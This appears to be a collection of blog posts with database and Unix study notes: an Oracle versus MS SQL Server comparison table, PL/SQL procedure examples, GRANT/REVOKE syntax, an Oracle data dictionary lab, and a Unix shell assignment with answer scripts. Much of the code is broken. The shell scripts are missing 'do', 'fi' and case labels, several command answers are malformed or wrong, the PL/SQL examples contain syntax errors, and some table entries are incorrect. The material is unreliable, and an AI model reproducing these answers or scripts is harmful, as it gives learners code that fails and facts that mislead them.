Fixed Length String	CHAR(n) - limit 2KB	CHAR(n), CHARACTER(n) - limit 255 (6.5) - limit 8KB (7.0)
Variable Length String	VARCHAR2(n), VARCHAR(n) - limit 4KB in a column - limit 32KB in a variable - VARCHAR is obsolete	VARCHAR(n), CHAR VARYING(n), CHARACTER VARYING(n) - limit 255 (6.5) - limit 8KB (7.0)
Integer	INTEGER, INTEGER(n), SMALLINT	INTEGER (4 bytes), INT (4 bytes), SMALLINT (2 bytes), TINYINT (1 byte), BIT (1 bit)
Fixed Point	NUMBER, NUMBER(n), NUMBER(n,d), FLOAT, FLOAT(n), FLOAT(n,d)	NUMERIC, NUMERIC(n), NUMERIC(n,d), DECIMAL, DECIMAL(n), DECIMAL(n,d), DEC, DEC(n), DEC(n,d), MONEY, SMALLMONEY
Floating Point	DECIMAL	FLOAT, FLOAT(n), DOUBLE PRECISION, REAL,
Date	DATE	DATETIME, SMALLDATETIME, TIMESTAMP - TIMESTAMP auto-updated
Binary	RAW(n) - limit 255 bytes	BINARY(n), VARBINARY(n), BINARY VARYING(n) - limit 255 (6.5) - limit 8KB (7.0)
Large String	LONG, LONG VARCHAR - limit 2GB - limit one per table row CLOB - limit 4GB	TEXT - limit 2GB
Large Binary	LONG RAW - limit 2GB - limit one per table row BLOB - limit 4GB	IMAGE - limit 2GB
Multi-byte chars	NCHAR(n) NVARCHAR(n) NCLOB - same limits as CHAR, VARCHAR, CLOB	NCHAR(n), NATIONAL CHAR(n), NATIONAL CHARACTER(n) NVARCHAR(n), NATIONAL CHAR VARYING(n), NATIONAL CHARACTER VARYING(n) NTEXT, NATIONAL TEXT - same limits as CHAR, VARCHAR, TEXT
OS File	BFILE	<not supported>
Row Identifier	implicit ROWID column	(use an IDENTITY column)
Secure OS Label	MLSLABEL, RAW MLSLABEL	<not supported>
128-bit Unique Number (UUID, GUID)	<not supported>	UNIQUEIDENTIFIER (version 7.0 only)

2. Limits

Description	Oracle	MS SQL Server
Columns per table	1000	250 (6.5) 1024 (7.0)
Row size	unlimited	1962 bytes (6.5) 8060 bytes (7.0) - includes pointers, but not data, for TEXT and IMAGE columns
LONG and LONG RAW columns per row	1 (must be last column)	unlimited (16-byte pointer per)
LOB, TEXT, and IMAGE columns per row	unlimited (16-byte pointer per)	unlimited (16-byte pointer per)
Clustered indexes per table	1	1
Non-clustered indexes per table	unlimited	249
Columns per index	16	16
Index row size	2K bytes	900 bytes
Identifier Length	30 chars	30 chars (6.5) 128 chars (7.0)
Tables per SELECT	unlimited	16 (6.5) 256 (7.0)
Source code per stored procedure		64KB (6.5) 250MB (7.0)
Data type limits	(see Data Types)

3. Operators

Most operators are the same in Oracle and MS SQL Server. Here are some that differ:

Description	Oracle	MS SQL Server
String concatenation	string1 \|\| string2	string1 + string2

4. Built-In Functions

Oracle and MS SQL Server offer many of the same built-in functions. For example, they both offer ABS, EXP, ROUND, UPPER, LOWER, AVG, COUNT, SUM, ASCII, etc. The following table shows some of the corresponding functions that don't have the same name.

Description	Oracle	MS SQL Server
Smallest integer >= n	CEIL	CEILING
Modulus	MOD	%
Truncate number	TRUNC	<none>
Max or min number or string in list	GREATEST, LEAST	<none>
Translate NULL to n	NVL	ISNULL
Return NULL if two values are equal	DECODE	NULLIF
String concatenation	CONCAT(str1,str2)	str1 + str2
Convert ASCII to char	CHR	CHAR
Capitalize first letters of words	INITCAP	<none>
Find string in string	INSTR	CHARINDEX
Find pattern in string	INSTR	PATINDEX
String length	LENGTH	DATALENGTH
Pad string with blanks	LPAD, RPAD	<none>
Trim leading or trailing chars other than blanks	LTRIM(str,chars), RTRIM(str,chars)	<none>
Replace chars in string	REPLACE	STUFF
Convert number to string	TO_CHAR	STR, CAST
Convert string to number	TO_NUMBER	CAST
Get substring from string	SUBSTR	SUBSTRING
Char for char translation in string	TRANSLATE	<none>
Date addition	ADD_MONTH or +	DATEADD
Date subtraction	MONTHS_BETWEEN or -	DATEDIFF
Last day of month	LAST_DAY	<none>
Time zone conversion	NEW_TIME	<none>
Next specified weekday after date	NEXT_DAY	<none>
Convert date to string	TO_CHAR	DATENAME, CONVERT
Convert string to date	TO_DATE	CAST
Convert date to number	TO_NUMBER(TO_CHAR(d))	DATEPART
Date round	ROUND	CONVERT
Date truncate	TRUNC	CONVERT
Current date	SYSDATE	GETDATE
Convert hex to binary	HEXTORAW	CAST
Convert binary to hex	RAWTOHEX	CONVERT
If statement in an expression	DECODE	CASE ... WHEN or COALESCE
User's login id number or name	UID, USER	SUSER_ID, SUSER_NAME
User's database id number or name	UID, USER	USER_ID, USER_NAME
Current user	USER	USER

5. Differences in SQL Syntax

The following table shows the different syntax used in Oracle and MS SQL Server for the same SQL operations:

Description	Oracle	MS SQL Server
Left Outer Join	WHERE column1 = column2(+)	FROM table1 LEFT OUTER JOIN table2 ON table1.column1 = table2.column2 Note: The following syntax is also supported, but is no longer recommended: WHERE column1 *= column2
Right Outer Join	WHERE column1(+) = column2	FROM table1 RIGHT OUTER JOIN table2 ON table1.column1 = table2.column2 Note: The following syntax is also supported, but is no longer recommended: WHERE column1 =* column2
Full Outer Join		FROM table1 FULL OUTER JOIN table2 ON table1.column1 = table2.column2
SELECT without FROM	SELECT 'hello world' FROM DUAL	SELECT 'hello world'
SELECT data into a table	CREATE TABLE AS SELECT ...	SELECT ... INTO
Intersection of 2 SELECTS	SELECT ... INTERSECT SELECT ...	SELECT ... WHERE EXISTS (SELECT ...)
Subtraction of 2 SELECTS	SELECT ... MINUS SELECT ...	SELECT ... WHERE NOT EXISTS (SELECT ...)
INSERT into a JOIN	INSERT INTO SELECT ...	Create a VIEW and INSERT INTO it.
UPDATE data in a JOIN	UPDATE SELECT...	Create a VIEW and INSERT INTO it.
UPDATE one table based on criteria in another table	<not supported>	UPDATE table FROM ...
DELETE rows from one table based on criteria in another table	<not supported>	DELETE FROM table FROM ...
DROP a column from a table	<not supported until Oracle 8i>	ALTER TABLE table_name DROP COLUMN column_name
Readonly VIEW	CREATE VIEW ... WITH READONLY	GRANT SELECT ...
Save point	SAVEPOINT	SAVE TRANSACTION
Table lock	LOCK TABLE...IN SHARE MODE	SELECT...table_name (TABLOCK)
Exclusive table lock	LOCK TABLE...IN EXCLUSIVE MODE	SELECT...table_name (TABLOCKX)
Reserving index space	PCTFREE=0	FILLFACTOR=100
Declaring a local variable	DECLARE varname type;	DECLARE @varname type
Initializing a local variable	DECLARE varname type := value;	<not supported>
Declaring a constant	DECLARE varname CONSTANT type := value;	<not supported>
Assigning to a variable	varname := value SELECT value INTO varname	SET @varname = value SELECT @varname = value
Assigning to a variable from a cursor	FETCH cursorname INTO varname	FETCH NEXT FROM cursorname INTO varname
Declaring a cursor	CURSOR curname (params) IS SELECT ...;	DECLARE curname CURSOR FOR SELECT ...
If statement	IF ... THEN ELSIF ... THEN ELSE ENDIF	IF ... BEGIN ... END ELSE BEGIN ... END
While loop	WHILE ... LOOP END LOOP	WHILE ... BEGIN ... END
Other loops	FOR ... END LOOP LOOP ... END LOOP	<not supported>
Loop exit	EXIT, EXIT WHEN	BREAK, CONTINUE
Print output	DBMS_OUTPUT.PUT_LINE	PRINT
Raise error	RAISE_APPLICATION_ERROR	RAISERROR
Statement terminator	Semi-colon (;)	<none required>

Differences in Oracle SQL

Basic SQL Features

Oracle does not support AS in FROM clauses, but you can still specify tuple variables without AS:

    from Relation1 u, Relation2 v

On the other hand, Oracle does support AS in SELECT clauses, although the use of AS is completely optional.

The set-difference operator in Oracle is called MINUS rather than EXCEPT. There is no bag-difference operator corresponding to EXCEPT ALL. The bag-intersection operator INTERSECT ALL is not implemented either. However, the bag-union operator UNION ALLis supported.

In Oracle, you must always prefix an attribute reference with the table name whenever this attribute name appears in more than one table in the FROM clause. For example, suppose that we have tables R(A,B) and S(B,C). The following query does not work in Oracle, even though B is unambiguous because R.B is equated to S.B in the WHERE clause:

    select B from R, S where R.B = S.B;    /* ILLEGAL! */

Instead, you should use:

    select R.B from R, S where R.B = S.B;

In Oracle, the negation logical operator (NOT) should go in front of the boolean expression, not in front of the comparison operator. For example, "NOT A = ANY (<subquery>)" is a valid WHERE condition, but "A NOT = ANY (<subquery>)" is not. (Note that "A <> ANY (<subquery>)" is also a valid condition, but means something different.) There is one exception to this rule: You may use either "NOT A IN (<subquery>)" or "A NOT IN (<subquery>)".

In Oracle, an aliased relation is invisible to a subquery's FROM clause. For example,

   SELECT * FROM R S WHERE EXISTS (SELECT * FROM S)

is rejected because Oracle does not find S in the subquery, but

   SELECT * FROM R S WHERE EXISTS (SELECT * FROM R WHERE R.a = S.a)

is accepted.

In Oracle, a query that includes

1. a subquery in the FROM clause, using GROUP BY; and

2. a subquery in the WHERE clause, using GROUP BY

can cause the database connection to break with an error (ORA-03113: end-of-file on communication channel), even if the two GROUP BY clauses are unrelated.

Comments

In Oracle, comments may be introduced in two ways:

1. With /*...*/, as in C.

2. With a line that begins with two dashes --.

Thus:

-- This is a comment

SELECT * /* and so is this */

FROM R;

Stored procedures or Local Procedures in sql

2012-03-08T20:58:00.002-08:00

Stored procedures or Local Procedures:
CREATE [OR REPLACE] PROCEDURE procedure_name [(argument [{IN | OUT | IN OUT}]
argument_type, ...)] {IS | AS}

Procedure_body;

Procedure_body is a PL/SQL block, must have at least one statement (can be NULL).
Creating a procedure is a DDL operation -- so implicit COMMIT is done
Either IS or AS can be used
Parameter mode (Ada style of call-by-value or reference): IN (read-only), OUT (write-only value is ignored and NOT allowed at RHS value), IN OUT (read-write), default is IN mode. The argument_type must be unconstrained, e.g. CHAR(20) is not allowed.
Through parameters, procedure can return values
If you omit CREATE OR REPLACE, the PROCEDURE become a local procedure.

The structure of a procedure

CREATE OR REPLACE PROCEDURE procedure_name [(...)] IS

Declarative section -- there is NO DECLARE keyword

BEGIN

Execution section

EXCEPTION

Exception section

END [procedure_name]; -- procedure_name is optional (good style) but matched with if used

If there are no parameters in the procedure, no parenthesis is needed in the procedure head.

Example 1:

PROCEDURE apply_discount -- local procedure

(company_id IN company.company_id%TYPE, discount_in IN NUMBER) IS

min_discount CONSTANT NUMBER := .05;

max_discount CONSTANT NUMBER := .25;

invalid_discount EXCEPTION;

BEGIN

IF discount_in BETWEEN min_discount AND max_discount THEN

UPDATE item

SET item_amount := item_amount*(1-discount_in);

WHERE EXISTS (SELECT 'x' FROM order

WHERE order.order_id = item.order_id AND

order.company_id=company_id_in);

IF SQL%ROWCOUNT = 0 THEN

RAISE NO_DATA_FOUND;

END IF;

ELSE

RAISE invalid_discount;

END IF;

EXCEPTION

WHEN invalid_discount THEN

DBMS_OUTPUT.PUT_LINE('The specified discount is invalid.');

WHEN NO_DATA_FOUND THEN

DBMS_OUTPUT.PUT_LINE('No orders in the system for company:' ||

TO_CHAR(company_id_in));

END apply_discount;

Example 2: . Debits a bank account: When invoked or called, this procedure accepts an account number and a debit amount. It uses the account number to select the account balance from the accts database table. Then, it uses the debit amount to compute a new balance. If the new balance is less than zero, an exception is raised; otherwise, the bank account is updated. The example also illustrate the use of Exception

PROCEDURE debit_account (acct_id INTEGER, amount REAL) IS
   old_balance REAL;
   new_balance REAL;
   overdrawn    EXCEPTION;

BEGIN
SELECT bal INTO old_balance FROM accts WHERE acctno = acct_id;

   new_balance := old_balance - amount;
   IF new_balance < 0 THEN
         RAISE overdrawn;
   ELSE
      UPDATE accts SET bal = new_balance WHERE acctno = acct_id;
   END IF;

EXCEPTION
WHEN overdrawn THEN

dbms_output.putline("overdrawn");

END debit_account;

Example 3: procedure raise_salary, which increases the salary of an employee: When called, this procedure accepts an employee number and a salary increase amount. It uses the employee number to select the current salary from the emp database table. If the employee number is not found or if the current salary is null, an exception is raised. Otherwise, the salary is updated.

PROCEDURE raise_salary (emp_id INTEGER, increase REAL) IS
current_salary REAL;
salry_missing EXCEPTION;

BEGIN

SELECT sal INTO current_salary FROM emp WHERE empno = emp_id;

   IF current_salary IS NULL THEN
      RAISE salary_missing;
   ELSE
      UPDATE emp SET sal = sal + increase WHERE empno = emp_id;
   END IF;

EXCEPTION

   WHEN NO_DATA_FOUND THEN
      INSERT INTO emp_audit VALUES (emp_id, 'No such number');
   WHEN salary_missing THEN
      INSERT INTO emp_audit VALUES (emp_id, 'Salary is null');

END;

How to call a procedure within a PL/SQL block as an executable statement:
procedure_name(arguments);
E.g. apply_discount(new_company_id, 0.15); -- 15% discount
display_store_summary; -- no parenthesis needed

Defining local procedures

Local subprograms are defined in the declarative section.
The keyword CREATE [OR REPLACE] is omitted, and start with PROCEDURE keyword.

Debugging Procedures
SQL*Plus SHOW ERRORS command will display all of the errors (e.g., line and column number for each error as well as text error message) associated with the most recently created procedural object. This command will check the USER_ERRORS data dictionary view for the errors associated with the most recent compilation attempt for that procedural object.

7.7.2 Formal Parameters
Parameter Modes
Use parameter modes to define the behavior of formal parameters. The three parameter modes, IN (the
default), OUT, and IN OUT, can be used with any subprogram. However, avoid using the OUT and IN
OUT modes with functions. The purpose of a function is to take zero or more arguments and return a single
value. It is a poor programming practice to have a function return multiple values. Also, functions should be
free from side effects, i.e. change the values of variables not local to the subprogram.
IN: An IN parameter lets you pass values to the subprogram being called. Inside the subprogram, an IN
parameter acts like a constant. Therefore, it cannot be assigned a value. For example, the following
assignment statement causes a compilation error:

PROCEDURE debit_account (acct_id INTEGER, amount REAL) IS

minimum_purchase CONSTANT REAL := 10.0;

service_charge CONSTANT REAL := 0.50;

BEGIN

IF amount < minimum_purchase THEN

amount := amount + service_charge; -- illegal

END IF;

...

The actual parameter that corresponds to an IN formal parameter can be a constant, literal, initialized
variable, or expression. Unlike OUT and IN OUT parameters, IN parameters can be initialized to default values.

OUT: An OUT parameter lets you return values to the caller of a subprogram. Inside the subprogram, an OUT
parameter acts like an un-initialized variable. Therefore, its value cannot be assigned to another variable or
reassigned to itself. For instance, the following assignment statement causes a compilation error:

PROCEDURE calc_bonus (emp_id INTEGER, bonus OUT REAL) IS

hire_date DATE;

BEGIN

SELECT sal * 0.10, hiredate INTO bonus, hire_date FROM emp WHERE empno = emp_id;

IF MONTHS_BETWEEN(SYSDATE, hire_date) 60 THEN

bonus := bonus + 500; -- syntax error

END IF;

...

The actual parameter that corresponds to an OUT formal parameter must be a variable; it cannot be a
constant or expression. For example, the following procedure call is illegal:

calc_bonus(7499, salary + commission); -- syntax error

PL/SQL checks for this syntax error at compile time to prevent the overwriting of constants and expressions. An OUT actual parameter can (but need not) have a value before the subprogram is called. However, the value is lost when you call the subprogram. Inside the subprogram, an OUT formal parameter cannot be used in an expression; the only operation allowed on the parameter is to assign it a value.
Before exiting a subprogram, explicitly assign values to all OUT formal parameters. Otherwise, the values of
corresponding actual parameters are indeterminate. If you exit successfully, PL/SQL assigns values to the
actual parameters. However, if you exit with an un-handled exception, PL/SQL does not assign values to the
actual parameters.
IN OUT: An IN OUT parameter lets you pass initial values to the subprogram being called and return updated values to the caller. Inside the subprogram, an IN OUT parameter acts like an initialized variable. Therefore, it can
be assigned a value and its value can be assigned to another variable. That means you can use an IN OUT
formal parameter as if it were a normal variable. You can change its value or reference the value in any way,
as the following example shows:

PROCEDURE calc_bonus (emp_id INTEGER, bonus IN OUT REAL) IS

hire_date DATE;

bonus_missing EXCEPTION;

BEGIN

SELECT sal * 0.10, hiredate INTO bonus, hire_date FROM emp WHERE empno = emp_id;

IF bonus IS NULL THEN

RAISE bonus_missing;

END IF;

IF MONTHS_BETWEEN(SYSDATE, hire_date) 60 THEN

bonus := bonus + 500;

END IF;

...

EXCEPTION

WHEN bonus_missing THEN

...

END calc_bonus;

The actual parameter that corresponds to an IN OUT formal parameter must be a variable; it cannot be a
constant or expression.
Constraints on Formal Parameters

It is illegal to constrain parameters with a length, precision, and scale, e.g., VARCHAR2(20), NUMBER(2) except for anchored types such as %TYPE
Parameter can have default values using DEFAULT or := (in this case, you can omit certain argument).

sql vs plsql

2012-03-08T20:55:00.003-08:00

SQL	PL/SQL
SQL stands for Structured Query Language, which does not have procedural programming capability.	PL/SQL stands for Procedural Structured Query Language. Which have advantage over SQL.
SQL is the language that enables relational database users to communicate with the database in a straightforward manner.	PL/SQL is Oracle's procedural language; it comprises the standard language of SQL and a wide array of commands that enable you to control the execution of SQL statements according to different conditions.
You can use SQL commands to query the database and modify tables within the database.	PL/SQL can also handle runtime errors.
If you send a series of SQL statements to the server in standard SQL, the server executes them one at a time in chronological order.	PL/SQL allows you to write interactive, user-friendly programs that can pass values into variables. SQL statements can be processed simultaneously for better overall performance.
No Programming flexibility available with SQL.	Programmers can divide functions into logical blocks of code. Modular programming techniques support flexibility during the application development.

Grant/Revoke Privileges in plsql

2012-03-08T20:54:00.000-08:00

Grant Privileges on Tables

You can grant users various privileges to tables. These privileges can be any combination of select, insert, update, delete, references, alter, and index. Below is an explanation of what each privilege means.

Privilege	Description
Select	Ability to query the table with a select statement.
Insert	Ability to add new rows to the table with the insert statement.
Update	Ability to update rows in the table with the update statement.
Delete	Ability to delete rows from the table with the delete statement.
References	Ability to create a constraint that refers to the table.
Alter	Ability to change the table definition with the alter table statement.
Index	Ability to create an index on the table with the create index statement.

The syntax for granting privileges on a table is:
grant privileges on object to user;
For example, if you wanted to grant select, insert, update, and delete privileges on a table called suppliers to a user name smithj, you would execute the following statement:
grant select, insert, update, delete on suppliers to smithj;
You can also use the all keyword to indicate that you wish all permissions to be granted. For example:
grant all on suppliers to smithj;
If you wanted to grant select access on your table to all users, you could grant the privileges to the public keyword. For example:
grant select on suppliers to public;

Revoke Privileges on Tables

Once you have granted privileges, you may need to revoke some or all of these privileges. To do this, you can execute a revoke command. You can revoke any combination of select, insert, update, delete, references, alter, and index.
The syntax for revoking privileges on a table is:
revoke privileges on object from user;
For example, if you wanted to revoke delete privileges on a table called suppliers from a user named anderson, you would execute the following statement:
revoke delete on suppliers from anderson;
If you wanted to revoke all privileges on a table, you could use the all keyword. For example:
revoke all on suppliers from anderson;
If you had granted privileges to public (all users) and you wanted to revoke these privileges, you could execute the following statement:
revoke all on suppliers from public;

Grant Privileges on Functions/Procedures

When dealing with functions and procedures, you can grant users the ability to execute these functions and procedures. The Execute privilege is explained below:

Privilege	Description
Execute	Ability to compile the function/procedure. Ability to execute the function/procedure directly.

The syntax for granting execute privileges on a function/procedure is:
grant execute on object to user;
For example, if you had a function called Find_Value and you wanted to grant execute access to the user named smithj, you would execute the following statement:
grant execute on Find_Value to smithj;
If you wanted to grant all users the ability to execute this function, you would execute the following:
grant execute on Find_Value to public;

Revoke Privileges on Functions/Procedures

Once you have granted execute privileges on a function or procedure, you may need to revoke these privileges from a user. To do this, you can execute a revoke command.
The syntax for the revoking privileges on a function or procedure is:
revoke execute on object from user;
If you wanted to revoke execute privileges on a function called Find_Value from a user named anderson, you would execute the following statement:
revoke execute on Find_Value from anderson;
If you had granted privileges to public (all users) and you wanted to revoke these privileges, you could execute the following statement:
revoke execute on Find_Value from public;

Data Dictionary in dbms

2012-03-08T20:49:00.001-08:00

Data Dictionary

Data dictionary — metadata — system & object privileges — dictionary structure — ``user'' tables - ``all'' tables — ``dba'' tables — ``v$'' tables — frequently used tables — usage examples — exercises — using the dictionary in PL/SQL programs — optional exercise.

Introduction

This document presents Oracle's data dictionary, also called the system catalogue. The data dictionary is the repository of all the meta-data relevant to the objects stored in the database—and also of information concerning the DBMS itself.

Dictionary Content

Defining metadata.

The term metadata is often defined as data about data. That is, data that provides information about the tables, views, constraints, stored procedures, etc. stored within the database. If we take a table as an example, the dictionary will store information such as:

its name
when it was created and when it was last accessed
the names and data types of its attributes (i.e. structural information)
its owner, who may read and write to it (i.e. security information)
where the data is stored (i.e. physical information)

Security in Oracle.

Oracle defines two categories of privileges: object privileges and system privileges. Both categories are granted and revoked using the GRANT and REVOKE SQL constructs: GRANT <object_privilege> ON <object> TO <user> and GRANT <system_privilege> TO <user>.
System privileges mainly specify the types of objects a user is allowed to manipulate (tables,...) and what (s)he can do with them. Object privileges define the access rights at the objects level (and even at the attribute level for tables).

Dictionary Structure

The data dictionary is implemented in Oracle as a set of read-only tables and views.

Figure 1: Hierachical structure of the data dictionary.

Figure 1 presents the two-level structure of the dictionary. At the root of the tree is the dictionary table, that features two attributes: table_name and comments. The comment field presents an informal description of the corresponding dictionary table.
For instance, we can request information about the dictionary table:

SQL> SELECT comments

  2  FROM dictionary WHERE table_name='DICTIONARY'

  3  /

and get:

Description of data dictionary tables and views

As an exercise, write a query to find out how many tables make up the data dictionary.

The second level of the dictionary is divided into four categories of tables. ``User'' tables describe the objects you own. They are only accessible to you. ``All'' tables describe the objects of all the users, and are accessible to all the users. ``DBA'' tables contain information only relevant and accessible to database administrators. And last, ``V$'' tables reflect the internal state of the DBMS and are mainly useful to DBAs for performance audit and optimization.
Refer to Figure 1 for a list of commonly-used dictionary tables. Also, remember that you can obtain the schema of any table with the desc command

Exercises

Note that by convention, all the textual data in the dictionary uses uppercase characters.

What information can you gather from the following query?

2.      SQL> SELECT constraint_name, constraint_type,

3.        2  status, table_name

4.        3  FROM user_constraints

5.        4  /

Find which user have access to the books table (see Introduction to Oracle.)
How can you find out whether the procedure welcome (see Introduction to PL/SQL) did compile successfully? Hint: the status of the procedure is then VALID.
Can you retrieve its source code from the dictionary?
Experiment with the tables from the list given in Figure 1 that you have not used yet.

Using the Dictionary in PL/SQL

The following PL/SQL program checks that the user attended the previous Oracle laboratories using the user_tables and user_objects tables. Make sure you understand the program before running it.

CREATE OR REPLACE PROCEDURE stud_snooper

AS

  attend_lab_1 number;

  attend_lab_2 number;

  user_name varchar2(8) := lower(user);

BEGIN

  -- students that attended lab 1 have a 'books' table

  SELECT count(table_name) INTO attend_lab_1

  FROM user_tables WHERE table_name='BOOKS';

  dbms_output.put(user_name

    || ' attendance to Oracle lab. 1: ');

  -- attend_lab_1 will be either 0 or 1.

  if attend_lab_1 = 0

  then

    dbms_output.put_line('NO');

  else

    dbms_output.put_line('YES');

  end if;

  -- students that attended lab 2 have a 'welcome' procedure

  SELECT count(object_name) INTO attend_lab_2

  FROM user_objects WHERE object_type='PROCEDURE'

  AND object_name='WELCOME';

  dbms_output.put(user_name

    || ' attendance to Oracle lab. 2: ');

  if attend_lab_2 = 0

  then

    dbms_output.put_line('NO');

  else

    dbms_output.put_line('YES');

  end if;

END;

Optional Exercise

Write a program stud_snooper_2 that uses all_tables and all_objects to report all the students that did not attend at least one Oracle lab.

uinx command and shell script

2012-03-08T20:42:00.002-08:00

Assignment – 1

v Locate lines that are longer than 100 and smaller than 150 characters using grep.

è grep -c '\{101,150\}' keval.txt

grep `^.\{100,150\}$` keval.txt

v Merge and sort the contents of files A and B and display the sorted output on the screen.

è cat file1 file2 | sort

v Convert all capital letters in a file to small case.

è tr [A-Z] [a-z] < file1

v Obtain the cont of users logged into the system.

è who | wc –l

v How will you grant read and execute permissions to the user and group for a file mca.txt?

è chmod ug+rx mca.txt

v Write a command to display all hidden files without using ls command.

è echo .*

è ls –al

v Write a command to display all the ordinary files that having no write permission to owner.

è ls –l | grep "^..-.*"

è ls -l | grep -v '^..w'

v To select line having exactly 10 alphabet

è grep '[a-ZA-z]'/{10/}

v Write a command to display those lines, which have exactly 4 characters in file.

è grep '^....$' foo

v Write a command to count number of blank lines in file.

è grep '^$' a | wc –l

v Write a command to enlist on the screen, only the directories in the current directory.

è ls –ld

v Print and sort the login names of all users.

è who|cut -d ' '-f1 | sort

v Copy a file mca.txt present in the current directory to a directory exam in the parent directory.

è cp.|mca.txt../mca

v How will you remove duplicate records from the file?

è uniq -d k113.txt

è sort k113.txt | uniq

v Write a command to display five largest files in the current directory.

è ls -S | head -5

v Select lines from the file that has exactly three character

è grep '^..$' a.lst

v Count the number of non-blank lines in the file.

è grep -c '^.*$' a.lst

v Count the number of characters in the last line of a file.

è tail -1 a.lst | wc –c

v Delete digits from the file.

è tr -d '[0-9]' k113.txt

v Write tail command that is equivalent to cat /usr/user1/file1

è tail +1 /usr/user/file1

v Display only login name of all users that are currently logged in.

è who -H | cut -f1 -d " "

v Display lines 5th to 10th of a file.

è tail +5 foo | head -5

v Display contents of file X1. (Do not use cat command)

è more X1

v Display largest file in current working directory.

è ls -x |sort -n |head -1

è ls -lS | grep "^-" | head -1

v List files which have write permission for the group.

è ls-l|grep '^....w'

v Display all files which have read and write permission for the group.

è Ls -l | grep '^...rw.'

v Display all files which have read, write permission for owner and others.

è ls -l | grep '^rw...rw'

v Count no. of users who are currently logged in (do not make use of wc command).

è Who | uniq -c

è who | grep –c

v Convert date in a format mm/dd/yy into dd/mm/yy.

è date +%d/%m/%y

v List ordinary files in your current directory which are not writable (for user only or owner only).

è ls -l | grep -u '^w'

GTU Script

2) Write shell script

a) Accept numbers and perform addition, subtraction, division and multiplication.

è a=10

echo "Enter The Value of A: "

read a

b=10

echo "Enter The Value of B: "

read b

c=0

c=`expr $a + $b`

echo "Addition " $c

c=`expr $a - $b`

echo "Subtraction " $c

c=`expr $a / $b`

echo "Division " $c

c=`expr $a \* $b`

echo "Multiplication " $c

b) Accept the string and checks whether the string is palindrome or not.

è l=0

count=1

tag=0

echo "Enter the String : "

read str

l=`echo $str |wc -c`

l=`expr $l - 1`

lh=`expr $l / 2`

while [ $count -le $lh ]

c1=`echo $str|cut -c$count`

c2=`echo $str|cut -c$l`

if [ $c1 != $c2 ]

then

tag=1

cnt=`expr $count + 1`

l=`expr $l - 1`

done

if [ $tag -eq 0 ]

then

echo "String is Palindrome"

else

echo "String is not Palindrome"

c) Accept number and check the number is even or odd, finds the length of the number, sum of the digits in the number.

è echo "Enter number:"

read no

c=`expr $no % 2`

if [ $c -eq 0 ]

then

echo "No is even "

else

echo "No is odd"

cnt=`echo $no | wc -c`

cnt=`expr $cnt - 1`

echo "word count =" $cnt

i=1

while [ $i -le $cnt ]

j=`echo $no | cut -c $i`

k=`expr $k + $j`

i=`expr $i + 1`

done

echo "total =" $k

d) Accept strings and replace a string by another string.

è echo "Enter any string:"

read str

echo "Your string is :" $str

echo "Enter word that your what replace with other word"

read oldstr

echo "Enter new string"

read newstr

str1=`echo $str | sed s/$oldstr/$newstr/g`

str2=`echo $str | replace $oldstr $newstr`

echo "after replacing " $str1

echo "after replacing " $str2

e) Accept filename and displays last modification time if file exists, otherwise display appropriate message.

è echo "Enter file name"

read fnm

if [ ! -f $fnm ]

then

echo "File Not Found"

exit 1

dt=`date -r $fnm`

echo "modification date is:" $dt

f) Fetch the data from a file and display data into another file in reverse order.

è echo "enter file name for fatching data and store in other file"

read fnm

if [ ! -f $fnm ]

then

echo "File not found"

exit 1

echo "enter new file name:"

read newfile

while read -n1 char;

str=$char$str

done<$fnm

echo $str>$newfile

echo $newfile "successfully created on" `pwd` " path"

3) Write a script to find the global complete path for any file

è echo "enter file name to find:"

read fnm

ans=0;

if [ ! -f $fnm ]

then

if [ ! -d $fnm ]

then

echo "File not found"

exit 1

ans=`find /home -name $fnm `

echo $ans

4) Write a script to broadcast a message to a specified user or a group of users logged on any terminal.

è echo "Enter the User name :"

read uname

echo "Enter String u want to send (End with Control-D) :"

write $uname

echo -e "\nYour message send successfully."

5) Write a script to copy the file system from two directories to a new directory in such a way that only the latest file is copied in case there are common files in both the directories.

è EXIT=n

while [ $EXIT != y ]

sleep 1

echo -e "\n"

echo -e "1. Display PWD

2. Long Listing

3. Change Directory

4. Copy Newest File.

5. Exit

Enter Choice: \c"

read ch

case $ch in

clear

pwd

;;

clear

pwd

ls -l

;;

echo -n "Enter Absolute Path to change directory: "

read apath

cd $apath

if [ $? -eq 0 ]; then # We can also check for availibility of directory before 'cd' command by 'test -d $apath' i.e. 'if [ -d $apath ]'

clear

echo "Working Directory Changed successfully to.."

sleep 1

pwd

else

clear

echo "Please check your PATH."

;;

clear

echo "Enter filenames to copy. ( * - for ALL Files, ELSE Separate files by spaces )"

read allfiles

if [ -f $allfiles ]; then

echo "Enter Absolute path, where to copy these files: "

read -e cpath

if [ -d $cpath ]; then

cp -u "$allfiles" $cpath # -u copies only when the SOURCE file is newer than the destination file or when the destination file is missing

else

echo "There is no such a directory!"

else

echo "There is/are no such file(s)!"

;;

clear

echo -n "Exiting.."

sleep 1

echo -n "."

sleep 1

echo -n "."

clear

exit

;;

clear

echo "Invalid Choice"

;;

esac

done

6) Write a script to compare identically named files in two different directories and if they are same, copy one of them in a third directory.

è echo "Enter 1st file full path(/home/mca/tejas/) :"

read p1

echo "Enter 2nd file full path(/home/mca/tejas/) :"

read p2

echo "Enter new path for copy"

read dest

a=`cmp $p1 $p2`

if [ $? -eq 0 ]

then

`cp $p2 $dest`

echo "File successfully copied on path: "$dest

else

echo "File not identically same"

7) Write a script to delete zero sized files from a given directory (and all its sub-directories).

è for i in `find /home/mca/diz/diz -type f -size 0c`

echo "$i has Zero size"

echo `rm $i`

done

8) Write a script to display the name of those files (in the given directory) which are having multiple links

è temp=$(mktemp tmp.XXXXXXXXXX)

while true; do

read -e -p "Ente the Absolute Path: " path || exit

[[ -d $path ]] && break

echo "Invalid Directory!"

done

for i in $path/*

for j in $path/*

base1=`basename $i`

base2=`basename $j`

echo "$i"

echo "$j"

if test "$base1" != "$base2"; then

if test "$base1" -ef "$base2"; then

echo "$base1" >> $temp

done

cat $temp | uniq

rm $temp

9) Write a script to display the name of all executable files in the given directory.

è echo "Enter a directory name:"

read dirname

if [ -d $dirname ]

then

echo "$dirname is exist"

cd $dirname

for i in `ls`

if [ -f $i ]

then

e1=$(ls -l $i|cut -c1,1-10 |cut -c4)

e2=$(ls -l $i|cut -c1,1-10 |cut -c7)

e3=$(ls -l $i|cut -c1,1-10 |cut -c10)

if [ $e1 = x ]

then

if [ $e2 = x ]

then

if [ $e3 = x ]

then

echo "$i is executable file"

done

else

echo "$dirname doesn't exist"

10) Write a script to display the date, time and a welcome message (like Good Morning etc.). The time should be displayed with “a.m.” or “p.m.” and not in 24 hours notation.
